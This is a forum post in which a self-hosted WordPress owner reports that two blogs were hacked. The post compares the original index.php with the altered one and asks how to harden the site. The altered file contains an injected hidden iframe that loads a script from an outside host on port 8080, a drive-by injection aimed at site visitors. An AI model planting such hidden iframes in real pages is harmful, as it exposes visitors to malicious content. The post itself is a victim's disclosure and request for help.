Website hack

Two of my wordpress self hosted blogs were hacked. The index.php file was altered. Did anyone experience this?

Original:

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-
<iframe src="http://u1w.in:8080/ts/in.cgi?pepsi112" width=125 height=125 style="visibility: hidden"></iframe>

My blogs are working fine now.
How to increase the security so it wont be altered/hacked again?
My previous permission was 644 then I changed it now to 444.